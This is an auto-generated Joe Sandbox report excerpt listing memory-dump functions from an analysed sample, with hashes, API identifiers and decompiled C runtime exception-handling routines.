                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Value$ErrorLast
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2506987500-0
                                                                                                                              • Opcode ID: c0d19d33724c3152ba453cbe1b9f784f25c5a42d78ad00f4c78832e376e3f042
                                                                                                                              • Instruction ID: 5f63456b71583ef3aff6cd944f77ea2d5d3eac19fbbe4a74dd8531042abfa870
                                                                                                                              • Opcode Fuzzy Hash: c0d19d33724c3152ba453cbe1b9f784f25c5a42d78ad00f4c78832e376e3f042
                                                                                                                              • Instruction Fuzzy Hash: EE215C60E08202C1FA6AB761558517DE2417F64BB0FC40AB6ED3E47AD7DE2EE5618220
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F6FBC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                                                                                              • String ID: CONOUT$
                                                                                                                              • API String ID: 3230265001-3130406586
                                                                                                                              • Opcode ID: f4124709c7c31d5de308cd59126671bcd46a61d9362fadabbe7fbbd0d2697edd
                                                                                                                              • Instruction ID: e1b7652dedd7bd3204d68097532ef3e51691d90434d21077f63cb91e90bd4d8f
                                                                                                                              • Opcode Fuzzy Hash: f4124709c7c31d5de308cd59126671bcd46a61d9362fadabbe7fbbd0d2697edd
                                                                                                                              • Instruction Fuzzy Hash: 9611AC22A18A4386F751AB02E85432DF3A0BB98FE4FC00276EE5D87795DF3CD8648754
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD866488 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 109stringCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: strncmp
                                                                                                                              • String ID: ASN1:$DER:$critical,
                                                                                                                              • API String ID: 1114863663-369496153
                                                                                                                              • Opcode ID: d8eae108aa50e8ee9f405d161ab28d2f521657fe406e3845ac9384fbb0e87803
                                                                                                                              • Instruction ID: 62937451cdc388b0ad24d2a6e01695a5f31a53df35f67ff9ec37aa27dff0e59e
                                                                                                                              • Opcode Fuzzy Hash: d8eae108aa50e8ee9f405d161ab28d2f521657fe406e3845ac9384fbb0e87803
                                                                                                                              • Instruction Fuzzy Hash: 7B41D652B18AAA01FB51AB26A92033AA6A1BF15BD4F045030ED7D47BD5FE3CE404C7F5
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD864DF4 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 108stringCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: strncmp
                                                                                                                              • String ID: ASN1:$DER:$critical,
                                                                                                                              • API String ID: 1114863663-369496153
                                                                                                                              • Opcode ID: 5f78d842faca65497d7e082e34e1eaa76c99826f4a218ee81ef128562e321c64
                                                                                                                              • Instruction ID: 0077df3899f77c2415c12a3119f089f4843ade6188bd3602e53f301cba5cb9a4
                                                                                                                              • Opcode Fuzzy Hash: 5f78d842faca65497d7e082e34e1eaa76c99826f4a218ee81ef128562e321c64
                                                                                                                              • Instruction Fuzzy Hash: 74411822B18AAA41EB106F25A82037AA6A0BB14BD4F445130DD7E47BD5FE3CD404C7F5
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EA6E8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF7DA8E439D,?,?,?,?,00007FF7DA8EDCF7,?,?,00000000,00007FF7DA8EA806,?,?,?), ref: 00007FF7DA8EA6F7
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8E439D,?,?,?,?,00007FF7DA8EDCF7,?,?,00000000,00007FF7DA8EA806,?,?,?), ref: 00007FF7DA8EA72D
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8E439D,?,?,?,?,00007FF7DA8EDCF7,?,?,00000000,00007FF7DA8EA806,?,?,?), ref: 00007FF7DA8EA75A
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8E439D,?,?,?,?,00007FF7DA8EDCF7,?,?,00000000,00007FF7DA8EA806,?,?,?), ref: 00007FF7DA8EA76B
                                                                                                                              • FlsSetValue.KERNEL32(?,?,?,00007FF7DA8E439D,?,?,?,?,00007FF7DA8EDCF7,?,?,00000000,00007FF7DA8EA806,?,?,?), ref: 00007FF7DA8EA77C
                                                                                                                              • SetLastError.KERNEL32(?,?,?,00007FF7DA8E439D,?,?,?,?,00007FF7DA8EDCF7,?,?,00000000,00007FF7DA8EA806,?,?,?), ref: 00007FF7DA8EA797
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Value$ErrorLast
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2506987500-0
                                                                                                                              • Opcode ID: 289708898f4a2016c82e6da440bc9e283a7299ead69c11a6804787e19b46bdd5
                                                                                                                              • Instruction ID: dbaa6690ce344b50398efa717dee32f171f72c75cb6f435dcfa3d106402fa939
                                                                                                                              • Opcode Fuzzy Hash: 289708898f4a2016c82e6da440bc9e283a7299ead69c11a6804787e19b46bdd5
                                                                                                                              • Instruction Fuzzy Hash: 40118064F08202C1F65AB7215A4013DE2917FA4BB0FC44AB6ED7E477C7DD2DA5658220
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DE3C4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 162COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 63%
                                                                                                                              			E00007FF77FF7DA8DE3C4(void* __ecx, void* __esi, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r9, void* _a8, void* _a16, void* _a24, void* _a32, signed int* _a40, char _a48, signed int _a56, signed int _a64) {
				signed int _v32;
				long long _v40;
				char _v48;
				signed int* _v56;
				void* _t55;
				intOrPtr _t60;
				signed int _t102;
				void* _t110;
				intOrPtr _t112;
				signed int* _t116;
				intOrPtr* _t137;
				void* _t140;
				void* _t143;
				void* _t145;
				void* _t159;
				void* _t160;

				_t110 = _t145;
				 *((long long*)(_t110 + 8)) = __rbx;
				 *((long long*)(_t110 + 0x10)) = __rbp;
				 *((long long*)(_t110 + 0x18)) = __rsi;
				 *((long long*)(_t110 + 0x20)) = __rdi;
				_t137 = __rcx;
				_t140 = __r9;
				_t160 = __r8;
				_t143 = __rdx;
				E00007FF77FF7DA8DCC24(_t55, __r8);
				E00007FF77FF7DA8DCC80(_t110);
				_t116 = _a40;
				if ( *((intOrPtr*)(_t110 + 0x40)) != 0) goto 0xda8de446;
				if ( *__rcx == 0xe06d7363) goto 0xda8de446;
				if ( *__rcx != 0x80000029) goto 0xda8de42a;
				if ( *((intOrPtr*)(__rcx + 0x18)) != 0xf) goto 0xda8de42e;
				if ( *((long long*)(__rcx + 0x60)) == 0x19930520) goto 0xda8de446;
				if ( *__rcx == 0x80000026) goto 0xda8de446;
				if (( *_t116 & 0x1fffffff) - 0x19930522 < 0) goto 0xda8de446;
				if ((_t116[9] & 0x00000001) != 0) goto 0xda8de5d5;
				if (( *(__rcx + 4) & 0x00000066) == 0) goto 0xda8de4de;
				if (_t116[1] == 0) goto 0xda8de5d5;
				if (_a48 != 0) goto 0xda8de5d5;
				if (( *(__rcx + 4) & 0x00000020) == 0) goto 0xda8de4cb;
				if ( *__rcx != 0x80000026) goto 0xda8de4a9;
				_t60 = E00007FF77FF7DA8DD794(_t116, __r9,  *((intOrPtr*)(__r9 + 0x20)), __r9);
				if (_t60 - 0xffffffff < 0) goto 0xda8de5f5;
				if (_t60 - _t116[1] >= 0) goto 0xda8de5f5;
				r9d = _t60;
				E00007FF77FF7DA8DE964(_t110, _t143, __r9, _t116);
				goto 0xda8de5d5;
				if ( *_t137 != 0x80000029) goto 0xda8de4cb;
				r9d =  *((intOrPtr*)(_t137 + 0x38));
				if (r9d - 0xffffffff < 0) goto 0xda8de5f5;
				if (r9d - _t116[1] >= 0) goto 0xda8de5f5;
				goto 0xda8de499;
				E00007FF77FF7DA8DD20C(r9d - _t116[1], _t110, _t116, __r9, __r9, _t116);
				goto 0xda8de5d5;
				if (_t116[3] != 0) goto 0xda8de526;
				if (( *_t116 & 0x1fffffff) - 0x19930521 < 0) goto 0xda8de506;
				_t102 = _t116[8];
				if (_t102 == 0) goto 0xda8de506;
				E00007FF77FF7DA8DD610(_t110);
				if (_t102 != 0) goto 0xda8de526;
				if (( *_t116 & 0x1fffffff) - 0x19930522 < 0) goto 0xda8de5d5;
				if ((_t116[9] >> 0x00000002 & 0x00000001) == 0) goto 0xda8de5d5;
				if ( *_t137 != 0xe06d7363) goto 0xda8de59c;
				if ( *((intOrPtr*)(_t137 + 0x18)) - 3 < 0) goto 0xda8de59c;
				if ( *((intOrPtr*)(_t137 + 0x20)) - 0x19930522 <= 0) goto 0xda8de59c;
				_t112 =  *((intOrPtr*)(_t137 + 0x30));
				if ( *((intOrPtr*)(_t112 + 8)) == 0) goto 0xda8de59c;
				E00007FF77FF7DA8DD624(_t112);
				if (_t112 +  *((intOrPtr*)( *((intOrPtr*)(_t137 + 0x30)) + 8)) == 0) goto 0xda8de59c;
				_v32 = _a64 & 0x000000ff;
				_v40 = _a56;
				_v48 = _a48;
				_v56 = _t116;
				 *0xda8fa428(_t159);
				goto 0xda8de5da;
				_v32 = _a56;
				_v40 = _a48;
				_v48 = _a64;
				_v56 = _t116;
				E00007FF77FF7DA8DDB90(_a64 & 0x000000ff, 0x80000026, __esi, _t137, _t143, _t160, _t140, _t112 +  *((intOrPtr*)( *((intOrPtr*)(_t137 + 0x30)) + 8)));
				return 1;
			}



















                                                                                                                              0x7ff7da8de3c4
                                                                                                                              0x7ff7da8de3c7
                                                                                                                              0x7ff7da8de3cb
                                                                                                                              0x7ff7da8de3cf
                                                                                                                              0x7ff7da8de3d3
                                                                                                                              0x7ff7da8de3dd
                                                                                                                              0x7ff7da8de3e0
                                                                                                                              0x7ff7da8de3e6
                                                                                                                              0x7ff7da8de3e9
                                                                                                                              0x7ff7da8de3ec
                                                                                                                              0x7ff7da8de3f1
                                                                                                                              0x7ff7da8de3f6
                                                                                                                              0x7ff7da8de40c
                                                                                                                              0x7ff7da8de414
                                                                                                                              0x7ff7da8de418
                                                                                                                              0x7ff7da8de41e
                                                                                                                              0x7ff7da8de428
                                                                                                                              0x7ff7da8de42c
                                                                                                                              0x7ff7da8de43a
                                                                                                                              0x7ff7da8de440
                                                                                                                              0x7ff7da8de44a
                                                                                                                              0x7ff7da8de454
                                                                                                                              0x7ff7da8de462
                                                                                                                              0x7ff7da8de46c
                                                                                                                              0x7ff7da8de470
                                                                                                                              0x7ff7da8de47c
                                                                                                                              0x7ff7da8de484
                                                                                                                              0x7ff7da8de48d
                                                                                                                              0x7ff7da8de493
                                                                                                                              0x7ff7da8de49f
                                                                                                                              0x7ff7da8de4a4
                                                                                                                              0x7ff7da8de4ab
                                                                                                                              0x7ff7da8de4ad
                                                                                                                              0x7ff7da8de4b5
                                                                                                                              0x7ff7da8de4bf
                                                                                                                              0x7ff7da8de4c9
                                                                                                                              0x7ff7da8de4d4
                                                                                                                              0x7ff7da8de4d9
                                                                                                                              0x7ff7da8de4e2
                                                                                                                              0x7ff7da8de4f0
                                                                                                                              0x7ff7da8de4f2
                                                                                                                              0x7ff7da8de4f6
                                                                                                                              0x7ff7da8de4f8
                                                                                                                              0x7ff7da8de504
                                                                                                                              0x7ff7da8de512
                                                                                                                              0x7ff7da8de520
                                                                                                                              0x7ff7da8de52c
                                                                                                                              0x7ff7da8de532
                                                                                                                              0x7ff7da8de53b
                                                                                                                              0x7ff7da8de53d
                                                                                                                              0x7ff7da8de545
                                                                                                                              0x7ff7da8de547
                                                                                                                              0x7ff7da8de55a
                                                                                                                              0x7ff7da8de571
                                                                                                                              0x7ff7da8de580
                                                                                                                              0x7ff7da8de588
                                                                                                                              0x7ff7da8de58f
                                                                                                                              0x7ff7da8de594
                                                                                                                              0x7ff7da8de59a
                                                                                                                              0x7ff7da8de5a7
                                                                                                                              0x7ff7da8de5b9
                                                                                                                              0x7ff7da8de5c7
                                                                                                                              0x7ff7da8de5cb
                                                                                                                              0x7ff7da8de5d0
                                                                                                                              0x7ff7da8de5f4

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record__std_exception_copy
                                                                                                                              • String ID: csm$csm
                                                                                                                              • API String ID: 851805269-3733052814
                                                                                                                              • Opcode ID: 636783574853e9e9a3fb0730e5a08b6ac18183820e0ce6080361bfa48fa937f4
                                                                                                                              • Instruction ID: 5a19739b57951671574e95ecf06ce7e6fdd3bdc19f8b9e2c6cb3877583a7ebf1
                                                                                                                              • Opcode Fuzzy Hash: 636783574853e9e9a3fb0730e5a08b6ac18183820e0ce6080361bfa48fa937f4
                                                                                                                              • Instruction Fuzzy Hash: AC619D329087828AFF21AF21944426CBBA1FB54B94FD84172DE8D47B96DF3CE460C710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DC808 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 30%
                                                                                                                              			E00007FF77FF7DA8DC808(void* __rax, long long __rbx, long long __rcx, void* __rdx, long long __rsi, long long __r8, intOrPtr* __r9) {
				void* _t76;
				void* _t83;
				void* _t84;
				intOrPtr _t101;
				intOrPtr _t103;
				void* _t113;
				void* _t118;
				void* _t130;
				long long _t133;
				intOrPtr* _t135;
				signed long long _t144;
				void* _t150;
				signed long long _t154;
				void* _t156;
				long long _t158;
				intOrPtr* _t159;
				void* _t161;
				void* _t162;
				signed long long _t166;
				void* _t170;
				intOrPtr _t171;
				void* _t173;
				void* _t174;
				void* _t176;
				void* _t178;
				void* _t180;
				intOrPtr* _t181;

				_t130 = __rax;
				 *((long long*)(_t161 + 8)) = __rbx;
				 *((long long*)(_t161 + 0x10)) = _t158;
				 *((long long*)(_t161 + 0x18)) = __rsi;
				_t162 = _t161 - 0x40;
				_t159 = __rcx;
				_t181 = __r9;
				_t174 = __rdx;
				E00007FF77FF7DA8DCC24(_t76, __r8);
				_t171 =  *((intOrPtr*)(__r9 + 8));
				_t135 =  *((intOrPtr*)(__r9 + 0x38));
				_t178 =  *__r9 - _t171;
				_t103 =  *((intOrPtr*)(__r9 + 0x48));
				if (( *(__rcx + 4) & 0x00000066) != 0) goto 0xda8dc930;
				 *((long long*)(_t162 + 0x30)) = __rcx;
				 *((long long*)(_t162 + 0x38)) = __r8;
				if (_t103 -  *_t135 >= 0) goto 0xda8dc9dc;
				_t154 = __r8 + __r8;
				if (_t178 - _t130 < 0) goto 0xda8dc922;
				if (_t178 - _t130 >= 0) goto 0xda8dc922;
				if ( *((intOrPtr*)(_t135 + 0x10 + _t154 * 8)) == 0) goto 0xda8dc922;
				if ( *((intOrPtr*)(_t135 + 0xc + _t154 * 8)) == 1) goto 0xda8dc8ae;
				_t113 =  *((long long*)(_t130 + _t171))(_t180, _t176, _t173, _t170, _t150);
				if (_t113 < 0) goto 0xda8dc929;
				if (_t113 <= 0) goto 0xda8dc922;
				if ( *((intOrPtr*)(__rcx)) != 0xe06d7363) goto 0xda8dc8df;
				if ( *0xda9004c0 == 0) goto 0xda8dc8df;
				if (E00007FF77FF7DA8F8F10(_t130 + _t171, _t135, 0xda9004c0) == 0) goto 0xda8dc8df;
				_t83 =  *0xda9004c0();
				r8d = 1;
				_t84 = E00007FF77FF7DA8DCBF0(_t83, _t159 + _t171, _t174);
				_t101 =  *((intOrPtr*)(_t135 + 0x10 + _t154 * 8));
				r9d =  *_t159;
				 *((long long*)(_t162 + 0x28)) =  *((intOrPtr*)(_t181 + 0x40));
				_t133 =  *((intOrPtr*)(_t181 + 0x28));
				 *((long long*)(_t162 + 0x20)) = _t133;
				__imp__RtlUnwindEx();
				E00007FF77FF7DA8DCC20(_t84);
				goto 0xda8dc85e;
				goto 0xda8dc9e1;
				_t156 =  *((intOrPtr*)(_t181 + 0x20)) - _t171;
				goto 0xda8dc9d2;
				_t144 = _t174 + _t174;
				if (_t178 - _t133 < 0) goto 0xda8dc9d0;
				_t118 = _t178 - _t133;
				if (_t118 >= 0) goto 0xda8dc9d0;
				r10d =  *(_t159 + 4);
				r10d = r10d & 0x00000020;
				if (_t118 == 0) goto 0xda8dc9a5;
				r9d = 0;
				if (_t101 == 0) goto 0xda8dc9a0;
				r8d = r9d;
				_t166 = _t159 + _t159;
				if (_t156 - _t133 < 0) goto 0xda8dc998;
				if (_t156 - _t133 >= 0) goto 0xda8dc998;
				if ( *((intOrPtr*)(_t135 + 0x10 + _t166 * 8)) !=  *((intOrPtr*)(_t135 + 0x10 + _t144 * 8))) goto 0xda8dc998;
				if ( *((intOrPtr*)(_t135 + 0xc + _t166 * 8)) ==  *((intOrPtr*)(_t135 + 0xc + _t144 * 8))) goto 0xda8dc9a0;
				r9d = r9d + 1;
				if (r9d - _t101 < 0) goto 0xda8dc968;
				if (r9d != _t101) goto 0xda8dc9dc;
				if ( *((intOrPtr*)(_t135 + 0x10 + _t144 * 8)) == 0) goto 0xda8dc9b9;
				if (_t156 != _t133) goto 0xda8dc9d0;
				if (r10d != 0) goto 0xda8dc9dc;
				goto 0xda8dc9d0;
				 *((intOrPtr*)(_t181 + 0x48)) = _t150 + 1;
				r8d =  *((intOrPtr*)(_t135 + 0xc + _t144 * 8));
				 *((long long*)(_t166 + _t171))();
				if (_t103 + 2 -  *_t135 < 0) goto 0xda8dc93c;
				return 1;
			}






























                                                                                                                              0x7ff7da8dc808
                                                                                                                              0x7ff7da8dc808
                                                                                                                              0x7ff7da8dc80d
                                                                                                                              0x7ff7da8dc812
                                                                                                                              0x7ff7da8dc820
                                                                                                                              0x7ff7da8dc824
                                                                                                                              0x7ff7da8dc827
                                                                                                                              0x7ff7da8dc830
                                                                                                                              0x7ff7da8dc833
                                                                                                                              0x7ff7da8dc838
                                                                                                                              0x7ff7da8dc83f
                                                                                                                              0x7ff7da8dc843
                                                                                                                              0x7ff7da8dc84a
                                                                                                                              0x7ff7da8dc84e
                                                                                                                              0x7ff7da8dc854
                                                                                                                              0x7ff7da8dc859
                                                                                                                              0x7ff7da8dc860
                                                                                                                              0x7ff7da8dc868
                                                                                                                              0x7ff7da8dc872
                                                                                                                              0x7ff7da8dc87f
                                                                                                                              0x7ff7da8dc88a
                                                                                                                              0x7ff7da8dc895
                                                                                                                              0x7ff7da8dc8a8
                                                                                                                              0x7ff7da8dc8aa
                                                                                                                              0x7ff7da8dc8ac
                                                                                                                              0x7ff7da8dc8b5
                                                                                                                              0x7ff7da8dc8bf
                                                                                                                              0x7ff7da8dc8cf
                                                                                                                              0x7ff7da8dc8d9
                                                                                                                              0x7ff7da8dc8e3
                                                                                                                              0x7ff7da8dc8ef
                                                                                                                              0x7ff7da8dc8fb
                                                                                                                              0x7ff7da8dc902
                                                                                                                              0x7ff7da8dc909
                                                                                                                              0x7ff7da8dc90e
                                                                                                                              0x7ff7da8dc912
                                                                                                                              0x7ff7da8dc917
                                                                                                                              0x7ff7da8dc91d
                                                                                                                              0x7ff7da8dc924
                                                                                                                              0x7ff7da8dc92b
                                                                                                                              0x7ff7da8dc934
                                                                                                                              0x7ff7da8dc937
                                                                                                                              0x7ff7da8dc93e
                                                                                                                              0x7ff7da8dc948
                                                                                                                              0x7ff7da8dc952
                                                                                                                              0x7ff7da8dc955
                                                                                                                              0x7ff7da8dc957
                                                                                                                              0x7ff7da8dc95b
                                                                                                                              0x7ff7da8dc95f
                                                                                                                              0x7ff7da8dc961
                                                                                                                              0x7ff7da8dc966
                                                                                                                              0x7ff7da8dc968
                                                                                                                              0x7ff7da8dc96b
                                                                                                                              0x7ff7da8dc976
                                                                                                                              0x7ff7da8dc980
                                                                                                                              0x7ff7da8dc98b
                                                                                                                              0x7ff7da8dc996
                                                                                                                              0x7ff7da8dc998
                                                                                                                              0x7ff7da8dc99e
                                                                                                                              0x7ff7da8dc9a3
                                                                                                                              0x7ff7da8dc9ab
                                                                                                                              0x7ff7da8dc9b0
                                                                                                                              0x7ff7da8dc9b5
                                                                                                                              0x7ff7da8dc9b7
                                                                                                                              0x7ff7da8dc9bf
